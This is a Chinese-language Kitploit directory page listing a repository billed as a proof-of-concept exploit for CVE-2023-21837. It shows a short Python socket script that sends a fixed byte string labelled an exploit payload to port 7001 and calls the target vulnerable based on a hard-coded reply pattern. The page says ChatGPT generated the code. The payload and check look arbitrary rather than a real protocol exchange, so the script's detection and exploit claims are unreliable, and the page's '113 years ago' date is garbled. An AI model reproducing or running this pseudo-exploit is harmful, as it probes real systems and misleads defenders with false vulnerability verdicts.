Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/hktalent/cve-2023-21837
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试Payload 开发
GitHubhktalent/cve-2023-21837

CVE-2023-21837

CVE-2023-21837 的概念验证利用,具有基于套接字的漏洞检测和用于目标验证的载荷投递功能。

查看仓库
113年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2023-21837

POC、EXP,ChatGPT 为我生成

代码

import socket

# CVE-2023-21837
def check_vulnerability(target_host, target_port):
    # create socket object
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # set timeout to 30 seconds
    s.settimeout(30)
    try:
        # connect to target
        s.connect((target_host, target_port))
        # send exploit payload
        s.send(b'\x49\x49\x4f\x50\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00')
        # receive response
        response = s.recv(1024)
        # check if response indicates vulnerability
        if b'Y\x02\x0f\x00\x00\x00\x00\x00\x00\x00' in response:
            print(f"Target {target_host}:{target_port} is vulnerable!")
        else:
            print(f"Target {target_host}:{target_port} is not vulnerable.")
    except socket.timeout:
        print(f"Connection to {target_host}:{target_port} timed out.")
    except ConnectionRefusedError:
        print(f"Connection to {target_host}:{target_port} was refused.")
    except Exception as e:
        print(f"Error: {e}")
    finally:
        # close socket
        s.close()

# example usage
check_vulnerability('127.0.0.1', 7001)

下载工具